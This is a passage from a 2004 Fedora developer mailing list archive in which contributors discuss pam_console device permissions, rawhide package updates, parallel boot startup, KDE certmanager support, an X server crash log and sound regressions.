root.uucp > > > 0600 0660 root.lp > > > > > > Does it seem right for you? > > > > > > How can I add/remove these lines via rpm (un)installation? > > > > With Perl, sed ... > > Hhmm, not really my cup of tea :-) > > > Personally, I don't like that third party package touch security files. > > Put some instructions in README or INSTALL file and let the > > administrator do his job :-) > > Problem is: is "administrator" reading README or INSTALL files provided by a > rpm package? > Add a warning : - /dev/ttyS? : Permission denied, more information in /usr/share/doc/-pkgversion>/README > First, could you confirm that lines I want to put in the file are right? > Seems OK. > I manually edit the file to try, logout, and try login but it fails. Check if you _really_ have the console. # cat /var/run/console/console.lock (for FC3t3). I had some troubles with pam_console in fc3t2. Seems to work as expected now (fc3t3). The documentation : $ man pam_console When a user logs in at the console and __no other user is currently logged in at the console__, pam_console.so will change permissions and ownership of files as described in the file /etc/security/con- sole.perms. > I am unable to login as a normal user (bigs problems with X), only login as > root. > ???? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From ndbecker2 at verizon.net Wed Oct 20 15:33:05 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Wed, 20 Oct 2004 11:33:05 -0400 Subject: rawhide report: 20041020 changes References: <200410201223.i9KCNnt21021@porkchop.devel.redhat.com> Message-ID: Updates don't seem to be propogating today. From walters at redhat.com Wed Oct 20 15:57:04 2004 From: walters at redhat.com (Colin Walters) Date: Wed, 20 Oct 2004 11:57:04 -0400 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098185318.4668.2.camel@localhost.localdomain> References: <1097957490.18528.8.camel@localhost.localdomain> <1097957509.2859.16.camel@kyrre> <1097971782.18528.16.camel@localhost.localdomain> <1098185318.4668.2.camel@localhost.localdomain> Message-ID: <1098287824.26380.1.camel@decepticon.boston.redhat.com> On Tue, 2004-10-19 at 13:28 +0200, Matias F?liciano wrote: > Le dimanche 17 octobre 2004 ? 02:09 +0200, Matias F?liciano a ?crit > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136028 > > Closed. > I pointed in this bug report that gstreamer-plugins miss > libmusicbrainz-devel BuildRequires. This has been fixed in CVS for a long time; I think the upload fixing it was rejected for FC3 though. It will be there when rawhide becomes FC4. > Should I open a new bug report ? Not necessary, thanks. From feliciano.matias at free.fr Wed Oct 20 16:17:49 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Wed, 20 Oct 2004 18:17:49 +0200 Subject: rawhide report: 20041020 changes In-Reply-To: References: <200410201223.i9KCNnt21021@porkchop.devel.redhat.com> Message-ID: <1098289069.18506.59.camel@localhost.localdomain> Le mercredi 20 octobre 2004 ? 11:33 -0400, Neal D. Becker a ?crit : > Updates don't seem to be propogating today. > Many package have been signed (so changed). Around 2Go of data (bin & src). My favourite is "up2date" :-) http://fr2.rpmfind.net/linux/fedora/core/development/i386/ -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From aportal at univ-montp2.fr Wed Oct 20 16:24:51 2004 From: aportal at univ-montp2.fr (Alain PORTAL) Date: Wed, 20 Oct 2004 18:24:51 +0200 Subject: Devices and permissions In-Reply-To: <1098285670.18506.45.camel@localhost.localdomain> References: <200410141611.42456.aportal@univ-montp2.fr> <200410201646.53231.aportal@univ-montp2.fr> <1098285670.18506.45.camel@localhost.localdomain> Message-ID: <200410201824.56614.aportal@univ-montp2.fr> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > > Problem is: is "administrator" reading README or INSTALL files provided > > by a rpm package? > > Add a warning : > - /dev/ttyS? : Permission denied, more information in > /usr/share/doc/-pkgversion>/README In %description? > > First, could you confirm that lines I want to put in the file are right? > > Seems OK. > > > I manually edit the file to try, logout, and try login but it fails. > > Check if you _really_ have the console. Yes, I have. > # cat /var/run/console/console.lock ?(for FC3t3). [root at dionysos alain]# cat /var/run/console.lock alain [root at dionysos alain]# cat /var/run/console/alain 1 > I had some troubles with pam_console in fc3t2. Seems to work as expected > now (fc3t3). > > The documentation : > $ man pam_console > ? ? ? ?When a user logs in at the console ?and ?__no ?other ?user ?is > currently logged ?in ?at ?the console__, pam_console.so will change > permissions and ownership ?of ?files ?as ?described ?in ?the ?file > /etc/security/con- sole.perms. > > > I am unable to login as a normal user (bigs problems with X), only login > > as root. > > ???? Sorry, I really unable to explain in english all problems I had. I was graphically login (kde) as normal user. I opened a filemanager as root to open the /etc/security/console.perms file. I made the change and save file. I logout. I try to login as normal user but it fails, X didn't want to start and here is the message I saw (sorry, in french) : " Un serveur X est d?j? lanc? sur le visuel :0. Est-ce que je dois essayer un autre visuel ? Si vous r?pondez non, j'essayerai de d?marrer le szerveur sur :0 une nouvelle fois. (Vous pouvez afficher diff?rentes consoles en utilisant Ctrl+Alt et une touche de fonction Fn, etc)" One time I said yes, other time I said no, but I had the same result, unable to start X. If I try to login as root, I succeed. Finally, I had to comment the permissions definitions I added and reboot. I had also to delete /tmp/.X?-lock. - -- Alain PORTAL -- Service Commun de Microscopie ?lectronique Universit? de Montpellier II -- Case Courrier 087 Place Eug?ne Bataillon -- 34095 Montpellier Cedex 05 T?l. : 04 67 14 37 35 -- Fax. : 04 67 14 37 37 NO WORD ATTACHMENTS: http://www.fsf.org/philosophy/no-word-attachments.fr.html http://www.giromini.org/usenet-fr/repondre.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBdpFV8dRVJ41NdFARAsl2AJ0SBYCAZ2pJADXiZjMFkvzs9akfTACfeukR Rb/Kx8YD2ra6flGCurEbZLY= =VMqa -----END PGP SIGNATURE----- From rbultje at ronald.bitfreak.net Wed Oct 20 16:56:56 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Wed, 20 Oct 2004 18:56:56 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098213623.27218.19.camel@decepticon.boston.redhat.com> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> <1098206179.2798.51.camel@tux.lan> <1098208370.27218.12.camel@decepticon.boston.redhat.com> <1098213749.2798.53.camel@tux.lan> <1098213623.27218.19.camel@decepticon.boston.redhat.com> Message-ID: <1098291416.2798.65.camel@tux.lan> Hi Colin, hope this is in time. On Tue, 2004-10-19 at 21:20, Colin Walters wrote: > Tomorrow is "Absolute devel freeze" :/ > That's not to say things aren't doable as updates though, especially for > totem. The patches are in #136507, #136508, #136512 and #13614. 12/14 are two parts of the same patch because I don't know how to merge two patches. Ronald -- Ronald S. Bultje From symbiont at berlios.de Wed Oct 20 17:00:56 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Thu, 21 Oct 2004 01:00:56 +0800 Subject: Paralell startup In-Reply-To: <1098283996.2803.22.camel@laptop.fenrus.com> References: <1098202227.2734.23.camel@kyrre> <1098283996.2803.22.camel@laptop.fenrus.com> Message-ID: <200410210100.56477.symbiont@berlios.de> On Wednesday 20 October 2004 22:53, Arjan van de Ven wrote: > problem with parallel startup is that it *ALSO* increases how much > the disk has to seek, which slows things down. For me it's not clear > if it's actually a real gain or just a placebo one. It's a gain for those really long startup daemons. Maybe xfs has to recache its fonts, or maybe ntpdate is syncing with the time server. Then again, if Apache were written in a Bash script with all of its functions in separate script files and configuration spread out in different files and sourced in, parallelism would be an issue wouldn't it? I actually retooled this: http://www.fefe.de/minit/ for Redhat once and the results were just night and day. Of course, I didn't run kudzu or anything complicated like that. Just brought up the stuff I needed. You practically don't even need hibernate or sleep when you get it this good. (Doesn't help with X/GNOME/KDE startup, though) ;-) have fun, -- -jeff From kyrre at solution-forge.net Wed Oct 20 17:07:06 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 20 Oct 2004 19:07:06 +0200 Subject: Paralell startup In-Reply-To: <200410210100.56477.symbiont@berlios.de> References: <1098202227.2734.23.camel@kyrre> <1098283996.2803.22.camel@laptop.fenrus.com> <200410210100.56477.symbiont@berlios.de> Message-ID: <1098292026.2732.20.camel@kyrre> ons, 20.10.2004 kl. 19.00 skrev Jeff Pitman: > On Wednesday 20 October 2004 22:53, Arjan van de Ven wrote: > > problem with parallel startup is that it *ALSO* increases how much > > the disk has to seek, which slows things down. For me it's not clear > > if it's actually a real gain or just a placebo one. > > It's a gain for those really long startup daemons. Maybe xfs has to > recache its fonts, or maybe ntpdate is syncing with the time server. > > Then again, if Apache were written in a Bash script with all of its > functions in separate script files and configuration spread out in > different files and sourced in, parallelism would be an issue wouldn't > it? > > I actually retooled this: http://www.fefe.de/minit/ for Redhat once and > the results were just night and day. Of course, I didn't run kudzu or > anything complicated like that. Just brought up the stuff I needed. > You practically don't even need hibernate or sleep when you get it this > good. (Doesn't help with X/GNOME/KDE startup, though) ;-) No problem - i can wait 30 secounds, but 1.5 minutes is sometimes a bit long. Same basically goes to shutdown + i would guess somebody will think a grapical shutdown (similar to rhgb) would be a good thing... From shahms at shahms.com Wed Oct 20 17:12:34 2004 From: shahms at shahms.com (Shahms King) Date: Wed, 20 Oct 2004 10:12:34 -0700 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098291416.2798.65.camel@tux.lan> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> <1098206179.2798.51.camel@tux.lan> <1098208370.27218.12.camel@decepticon.boston.redhat.com> <1098213749.2798.53.camel@tux.lan> <1098213623.27218.19.camel@decepticon.boston.redhat.com> <1098291416.2798.65.camel@tux.lan> Message-ID: <1098292354.2791.44.camel@shahms.mesd.k12.or.us> On Wed, 2004-10-20 at 18:56 +0200, Ronald S. Bultje wrote: > Hi Colin, > > hope this is in time. > > On Tue, 2004-10-19 at 21:20, Colin Walters wrote: > > Tomorrow is "Absolute devel freeze" :/ > > That's not to say things aren't doable as updates though, especially for > > totem. > > The patches are in #136507, #136508, #136512 and #13614. 12/14 are two > parts of the same patch because I don't know how to merge two patches. > > Ronald > > -- > Ronald S. Bultje There is a tool in the patchutils package called "combinediff" that should be able to merge the two patches... -- Shahms E. King Multnomah ESD Public Key: http://shahms.mesd.k12.or.us/~sking/shahms.asc Fingerprint: 1612 054B CE92 8770 F1EA AB1B FEAB 3636 45B2 D75B -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jamesaharrisonuk at yahoo.co.uk Wed Oct 20 17:13:55 2004 From: jamesaharrisonuk at yahoo.co.uk (James Harrison) Date: Wed, 20 Oct 2004 10:13:55 -0700 (PDT) Subject: Paralell startup In-Reply-To: <200410210100.56477.symbiont@berlios.de> Message-ID: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> > recache its fonts, or maybe ntpdate is syncing with the time server. Sometimes daemons fail, so there has to be a mechanism to show a failure. What happens if the daemon/service fails that other daemons depend on? Does the machine fail to boot properly or does it fail back to a serial boot? --- Jeff Pitman wrote: > On Wednesday 20 October 2004 22:53, Arjan van de Ven wrote: > > problem with parallel startup is that it *ALSO* increases how much > > the disk has to seek, which slows things down. For me it's not clear > > if it's actually a real gain or just a placebo one. > > It's a gain for those really long startup daemons. Maybe xfs has to > recache its fonts, or maybe ntpdate is syncing with the time server. > > Then again, if Apache were written in a Bash script with all of its > functions in separate script files and configuration spread out in > different files and sourced in, parallelism would be an issue wouldn't > it? > > I actually retooled this: http://www.fefe.de/minit/ for Redhat once and > the results were just night and day. Of course, I didn't run kudzu or > anything complicated like that. Just brought up the stuff I needed. > You practically don't even need hibernate or sleep when you get it this > good. (Doesn't help with X/GNOME/KDE startup, though) ;-) > > have fun, > -- > -jeff > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From kyrre at solution-forge.net Wed Oct 20 17:13:02 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 20 Oct 2004 19:13:02 +0200 Subject: Paralell startup In-Reply-To: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> Message-ID: <1098292381.2732.25.camel@kyrre> ons, 20.10.2004 kl. 19.13 skrev James Harrison: > > recache its fonts, or maybe ntpdate is syncing with the time server. > Sometimes daemons fail, so there has to be a mechanism to show a failure. > > What happens if the daemon/service fails that other daemons depend on? Does > the machine fail to boot properly or does it fail back to a serial boot? > What happens today if a daemon fails, that other daemons depend on? > > > --- Jeff Pitman wrote: > > > On Wednesday 20 October 2004 22:53, Arjan van de Ven wrote: > > > problem with parallel startup is that it *ALSO* increases how much > > > the disk has to seek, which slows things down. For me it's not clear > > > if it's actually a real gain or just a placebo one. > > > > It's a gain for those really long startup daemons. Maybe xfs has to > > recache its fonts, or maybe ntpdate is syncing with the time server. > > > > Then again, if Apache were written in a Bash script with all of its > > functions in separate script files and configuration spread out in > > different files and sourced in, parallelism would be an issue wouldn't > > it? > > > > I actually retooled this: http://www.fefe.de/minit/ for Redhat once and > > the results were just night and day. Of course, I didn't run kudzu or > > anything complicated like that. Just brought up the stuff I needed. > > You practically don't even need hibernate or sleep when you get it this > > good. (Doesn't help with X/GNOME/KDE startup, though) ;-) > > > > have fun, > > -- > > -jeff > > > > -- > > fedora-devel-list mailing list > > fedora-devel-list at redhat.com > > http://www.redhat.com/mailman/listinfo/fedora-devel-list > > > > > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam protection around > http://mail.yahoo.com From feliciano.matias at free.fr Wed Oct 20 17:08:24 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Wed, 20 Oct 2004 19:08:24 +0200 Subject: rawhide report: 20041020 changes (up2date typo) In-Reply-To: <200410201223.i9KCNnt21021@porkchop.devel.redhat.com> References: <200410201223.i9KCNnt21021@porkchop.devel.redhat.com> Message-ID: <1098292104.18506.81.camel@localhost.localdomain> Le mercredi 20 octobre 2004 ? 08:23 -0400, Build System a ?crit : > > up2date-4.3.44-1 > ---------------- > * Tue Oct 19 2004 Adrian Likins 4.3.44 > > - point at fc3 urls not rawhide > Typo : /etc/sysconfig/rhn/sources : #yum-mirror updates-testing ... /updates-testing-fc2 ^ #yum updates-testing ... /updates/testing/$ARCH/ ^ Fedora version mission -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From rdieter at math.unl.edu Wed Oct 20 17:33:58 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Wed, 20 Oct 2004 12:33:58 -0500 Subject: no certmanager in kdepim? In-Reply-To: References: Message-ID: <4176A186.60402@math.unl.edu> Neal D. Becker wrote: > Any chance of a working certmanager as part of kdepim? OK, to make this work you need gpgme >= 0.4.5 (and gnupg2) see http://bugzilla.fedora.us/show_bug.cgi?id=2180 and http://bugzilla.fedora.us/show_bug.cgi?id=2179 Ideally, kdepim would also BuildRequires: gpgme-devel >= 0.4.5 But that's not *absolutely* required (not sure about this one?) Attached are some quick-n-dirty gpg-agent startup/shutdown scripts for kde, to drop into either /usr/env, ~/.kde/env /usr/shutdown, ~/.kde/shutdown for either system-wide, personal usage, respectively This is all integrated into the kdepim packages built for kde-redhat at http://apt.kde-redhat.org/apt/kde-redhat/all/SRPMS.testing/kdepim-3.3.1-0.3.kde.src.rpm -- Rex From rdieter at math.unl.edu Wed Oct 20 17:36:10 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Wed, 20 Oct 2004 12:36:10 -0500 Subject: no certmanager in kdepim? In-Reply-To: <4176A186.60402@math.unl.edu> References: <4176A186.60402@math.unl.edu> Message-ID: <4176A20A.1030502@math.unl.edu> Rex Dieter wrote: > Attached are some quick-n-dirty gpg-agent startup/shutdown scripts for > kde, to drop into either > /usr/env, ~/.kde/env > /usr/shutdown, ~/.kde/shutdown > for either system-wide, personal usage, respectively Forgot the scripts... here they are. -- Rex -------------- next part -------------- A non-text attachment was scrubbed... Name: gpg-agent-startup.sh Type: application/x-sh Size: 396 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: gpg-agent-shutdown.sh Type: application/x-sh Size: 203 bytes Desc: not available URL: From symbiont at berlios.de Wed Oct 20 17:40:33 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Thu, 21 Oct 2004 01:40:33 +0800 Subject: Paralell startup In-Reply-To: <1098292026.2732.20.camel@kyrre> References: <1098202227.2734.23.camel@kyrre> <200410210100.56477.symbiont@berlios.de> <1098292026.2732.20.camel@kyrre> Message-ID: <200410210140.33799.symbiont@berlios.de> On Thursday 21 October 2004 01:07, Kyrre Ness Sjobak wrote: > i would guess somebody will think a > grapical shutdown (similar to rhgb) would be a good thing... Sure, a pure black screen with the words "Shutting Down..." written in green right in the middle using ncurses would work for me. -- -jeff From kyrre at solution-forge.net Wed Oct 20 17:45:15 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 20 Oct 2004 19:45:15 +0200 Subject: Paralell startup In-Reply-To: <200410210140.33799.symbiont@berlios.de> References: <1098202227.2734.23.camel@kyrre> <200410210100.56477.symbiont@berlios.de> <1098292026.2732.20.camel@kyrre> <200410210140.33799.symbiont@berlios.de> Message-ID: <1098294314.2732.27.camel@kyrre> ons, 20.10.2004 kl. 19.40 skrev Jeff Pitman: > On Thursday 21 October 2004 01:07, Kyrre Ness Sjobak wrote: > > i would guess somebody will think a > > grapical shutdown (similar to rhgb) would be a good thing... > > Sure, a pure black screen with the words "Shutting Down..." written in > green right in the middle using ncurses would work for me. :P Really - it shouldn't be that hard to implement. We already have an x-server running in the cases we want it, rigth? But really not hi-pri either... From symbiont at berlios.de Wed Oct 20 17:49:08 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Thu, 21 Oct 2004 01:49:08 +0800 Subject: Paralell startup In-Reply-To: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> Message-ID: <200410210149.09073.symbiont@berlios.de> On Thursday 21 October 2004 01:13, James Harrison wrote: > > recache its fonts, or maybe ntpdate is syncing with the time > > server. > > Sometimes daemons fail, so there has to be a mechanism to show a > failure. vi /var/log/messages dmesg | less > What happens if the daemon/service fails that other daemons depend > on? Does the machine fail to boot properly or does it fail back to a > serial boot? Why would it fail back to serial? It's already too late. For example, if networking "fails", a lot things that depend on it will actually still run (well, if you've got localhost working and stuff.) You create dependencies like "yeah, this one needs network" and stuff like that, and it will boot in order from there. You ever play with Lattice Graphs in school? Lines can be traced to be run in parallel, and others will run serial. Shoot, we could call all these daemons "packages" and run it through RPM's topological sort! :) take care, -- -jeff From mwiktowy at gmx.net Wed Oct 20 18:09:10 2004 From: mwiktowy at gmx.net (Michael Wiktowy) Date: Wed, 20 Oct 2004 14:09:10 -0400 Subject: Paralell startup In-Reply-To: <20041020160011.C16B773CB0@hormel.redhat.com> References: <20041020160011.C16B773CB0@hormel.redhat.com> Message-ID: <4176A9C6.2030305@gmx.net> >Date: Wed, 20 Oct 2004 10:53:17 -0400 >From: Arjan van de Ven >Subject: Re: Paralell startup > >On Tue, 2004-10-19 at 12:10, Kyrre Ness Sjobak wrote: > > >>> I am hearing much good from the gentoo camp about paralell startup, and >>> how it brings down boot times to about 30 secounds. Is this possible to >>> do with fedora as well? >> >> > problem with parallel startup is that it *ALSO* increases how much the > disk has to seek, which slows things down. For me it's not clear if > it's actually a real gain or just a placebo one. You are right ... just starting up everything that can possibly be started up all at once makes no sense since it will undoubtedly add overhead above and beyond the time for each to start separately. There are some situations/landmarks that are independant of disk access though. I would break things up into three phases of booting: 1) Hardware detection and configuration - pretty much everything has to wait for this (and all the HAL/hotplug/udev stuff is looking really slick, BTW) 2) Network connection - there are going to be many things that need to wait for a network interface to be established but many others that couldn't care less and could continue on loading up without waiting for slow DHCP resolution or a bit long timeout before ifup failure (both things catch me on a regular basis). 3) X server startup and presentation of GUI login - this could be spawned quite early on while everything else keeps loading in the background. Psychologically, many people believe that the boot is done when they can interact with the machine. Windows uses this trick extensively. While it looks like it has booted, try opening up an app ... it takes *ages* until it has truly finished loading everything in the background. Each of these milestones can "fork" off a parallel ordered branch of startup scripts which may _seem_ to start up faster and avoid big pauses when there is trouble. It shouldn't add too much complication to the init. Each script just has to identify whether it needs networking to be up or if it blocks X. /Mike From tjb at unh.edu Wed Oct 20 18:35:21 2004 From: tjb at unh.edu (Thomas J. Baker) Date: Wed, 20 Oct 2004 14:35:21 -0400 Subject: Latest firefox doesn't pick up plugins in /usr/lib/mozilla In-Reply-To: <1098217192.3704.4.camel@tiger> References: <1098153946.6090.3.camel@tiger> <1098217192.3704.4.camel@tiger> Message-ID: <1098297321.31394.2.camel@wintermute.sr.unh.edu> On Tue, 2004-10-19 at 16:19 -0400, Louis Garcia wrote: > Spoke to soon. Today I booted my box and fired up firefox and the > plugins are gone again. about:plugins showed only the default plugin. I > fired up mozilla and sure enough the plugins were their. This has to be > a firefox problem. > > --Louis > There is/was a problem with firefox where I had the same problem: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=135578 tjb -- ======================================================================= | Thomas Baker email: tjb at unh.edu | | Systems Programmer | | Research Computing Center voice: (603) 862-4490 | | University of New Hampshire fax: (603) 862-1761 | | 332 Morse Hall | | Durham, NH 03824 USA http://wintermute.sr.unh.edu/~tjb | ======================================================================= From bobgus at rcn.com Wed Oct 20 19:17:16 2004 From: bobgus at rcn.com (Bob Gustafson) Date: Wed, 20 Oct 2004 14:17:16 -0500 Subject: my startx is failing on new stuff In-Reply-To: <1098297321.31394.2.camel@wintermute.sr.unh.edu> References: <1098217192.3704.4.camel@tiger> <1098153946.6090.3.camel@tiger> <1098217192.3704.4.camel@tiger> Message-ID: I have looked through recent messages on this list and have not seen anyone complaining about loss of X/Gnome/Desktop after yum yum of this morning's stuff. I boot to runlevel 3 and then log in and do a 'startx' My /var/log/Xorg.0.log shows the following on the bottom. I can attach the whole file if that would be interesting. ====== X Window System Version 6.8.1 Release Date: 17 September 2004 X Protocol Version 11, Revision 0, Release 6.8.1 Build Operating System: Linux 2.4.21-20.ELsmp i686 [ELF] Current Operating System: Linux hoho2.chidig.com 2.6.9-1.639smp #1 SMP Tue Oct 19 23:37:04 EDT 2004 i686 Build Date: 19 October 2004 Build Host: porky.build.redhat.com Before reporting problems, check http://wiki.X.Org to make sure that you have the latest version. Module Loader present OS Kernel: Linux version 2.6.9-1.639smp (bhcompile at tweety.build.redhat.com) (gcc version 3.4.2 20041017 (Red Hat 3.4.2-6)) #1 SMP Tue Oct 19 23:37:04 EDT 2004 Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/var/log/Xorg.0.log", Time: Wed Oct 20 11:35:41 2004 (==) Using config file: "/etc/X11/xorg.conf" (==) ServerLayout "single head configuration" .. ... ... (II) RADEON(0): Using hardware cursor (scanline 770) (II) RADEON(0): Largest offscreen area available: 1024 x 7417 (**) Option "dpms" (**) RADEON(0): DPMS enabled (II) RADEON(0): X context handle = 0x00000001 (II) RADEON(0): [drm] installed DRM signal handler (II) RADEON(0): [DRI] installation complete (II) RADEON(0): [drm] Added 32 65536 byte vertex/indirect buffers (II) RADEON(0): [drm] Mapped 32 vertex/indirect buffers (II) RADEON(0): [drm] dma control initialized, using IRQ 209 (II) RADEON(0): [drm] Initialized kernel GART heap manager, 5111808 (II) RADEON(0): Direct rendering enabled (==) RandR enabled *** If unresolved symbols were reported above, they might not *** be the reason for the server aborting. Fatal server error: Caught signal 11. Server aborting Please consult the The X.Org Foundation support at http://wiki.X.Org for help. Please also check the log file at "/var/log/Xorg.0.log" for additional information. From rdieter at math.unl.edu Wed Oct 20 19:34:03 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Wed, 20 Oct 2004 14:34:03 -0500 Subject: no certmanager in kdepim? In-Reply-To: References: Message-ID: <4176BDAB.8010909@math.unl.edu> Neal D. Becker wrote: > Any chance of a working certmanager as part of kdepim? FYI, Enhancement request http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136533 -- Rex From jerone at gmail.com Wed Oct 20 19:55:02 2004 From: jerone at gmail.com (Jerone Young) Date: Wed, 20 Oct 2004 14:55:02 -0500 Subject: More sound problems In-Reply-To: <1098244171.21306.26.camel@andrewfarris.dev> References: <1098238728.16403.6.camel@tiger> <1098244171.21306.26.camel@andrewfarris.dev> Message-ID: <9f50a7a004102012555d7084c8@mail.gmail.com> I just did a fresh install today. I get no sound what so ever from anything. The "firstboot" sound test produces no sound. The gstreamer test produce no sound. I have everything in the mixer up. On Tue, 19 Oct 2004 20:49:30 -0700, Andrew Farris wrote: > On Tue, 2004-10-19 at 22:18 -0400, Louis Garcia wrote: > > > > After rawhide update 10/19 I can't get sound out of my box. Any ideas? > > > > > > > > --Louis > > > > > > rawhide report 20041019 shows updates to: > > > gnome-media > > > gnome-volume-manager > > > selinux-policy-targeted > > > udev > > > > > > Start with looking at your mixer volumes, devices, perms, selinux > > > audits.. I have seen any loss of sound from these, so I would think > > > configuration first. > > > > > > btw: there really is nothing to guarantee this is all you updated, just > > > because thats what changed on rawhide.. so check your update logs for > > > what changed. > > > > Seems gnome-media alsa mixer does not adjusts PCM volume. Went back to -1 > > and adjusted PCM on OSS mixer and sound is back. > > What you're saying is, that using the 'alsa' mixer which was the only > one shown, you could no longer adjust PCM volume? Was this only for > apps which use the OSS interface? > > - rpm -q --changelog gnome-media | head > * Mon Oct 18 2004 Colin Walters 2.8.0-2 > > - Add patch to not show oss mixers > > If you could no longer adjust volume on OSS PCM, thats bugzilla worthy. > The mixers should have been one and the same. The bug really is in > gstreamer probably, the change in gnome-media was just to 'not show' the > OSS mixer that gstreamer provided. > > Perhaps the alsa mixer is not handling oss emulation quite the same way > the oss mixer was? > > > > -- > Andrew Farris (lordmorgul) > - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu > "..the triumph of evil is for good men to do nothing." (Edmond Burke) > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From dnjinc at wowway.com Wed Oct 20 20:14:00 2004 From: dnjinc at wowway.com (Demond James) Date: Wed, 20 Oct 2004 16:14:00 -0400 Subject: my startx is failing on new stuff In-Reply-To: References: <1098217192.3704.4.camel@tiger> <1098153946.6090.3.camel@tiger> <1098217192.3704.4.camel@tiger> Message-ID: <4176C708.5060808@wowway.com> Bob Gustafson wrote: >I have looked through recent messages on this list and have not seen anyone >complaining about loss of X/Gnome/Desktop after yum yum of this morning's >stuff. > >I boot to runlevel 3 and then log in and do a 'startx' > >My /var/log/Xorg.0.log shows the following on the bottom. I can attach the >whole file if that would be interesting. > >====== > >X Window System Version 6.8.1 >Release Date: 17 September 2004 >X Protocol >Version 11, Revision 0, Release 6.8.1 >Build Operating System: Linux >2.4.21-20.ELsmp i686 [ELF] >Current Operating System: Linux >hoho2.chidig.com 2.6.9-1.639smp #1 SMP Tue Oct 19 23:37:04 EDT 2004 >i686 >Build Date: 19 October 2004 >Build Host: porky.build.redhat.com > > > Before reporting problems, check http://wiki.X.Org > to make >sure that you have the latest version. >Module Loader present >OS Kernel: >Linux version 2.6.9-1.639smp (bhcompile at tweety.build.redhat.com) (gcc >version 3.4.2 20041017 (Red Hat 3.4.2-6)) #1 SMP Tue Oct 19 23:37:04 EDT >2004 >Markers: (--) probed, (**) from config file, (==) default setting, > > (++) from command line, (!!) notice, (II) informational, > > (WW) warning, (EE) error, (NI) not implemented, (??) unknown. >(==) >Log file: "/var/log/Xorg.0.log", Time: Wed Oct 20 11:35:41 2004 >(==) Using >config file: "/etc/X11/xorg.conf" >(==) ServerLayout "single head >configuration" >.. >... >... >(II) RADEON(0): Using hardware cursor (scanline 770) >(II) RADEON(0): >Largest offscreen area available: 1024 x 7417 >(**) Option "dpms" >(**) >RADEON(0): DPMS enabled >(II) RADEON(0): X context handle = 0x00000001 >(II) >RADEON(0): [drm] installed DRM signal handler >(II) RADEON(0): [DRI] >installation complete >(II) RADEON(0): [drm] Added 32 65536 byte >vertex/indirect buffers >(II) RADEON(0): [drm] Mapped 32 vertex/indirect >buffers >(II) RADEON(0): [drm] dma control initialized, using IRQ 209 >(II) >RADEON(0): [drm] Initialized kernel GART heap manager, 5111808 >(II) >RADEON(0): Direct rendering enabled >(==) RandR enabled > > *** If >unresolved symbols were reported above, they might not > *** be the reason >for the server aborting. > >Fatal server error: >Caught signal 11. Server >aborting > > >Please consult the The X.Org Foundation support > at >http://wiki.X.Org > for help. >Please also check the log file at >"/var/log/Xorg.0.log" for additional information. > > > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136478 From feliciano.matias at free.fr Wed Oct 20 15:31:00 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) 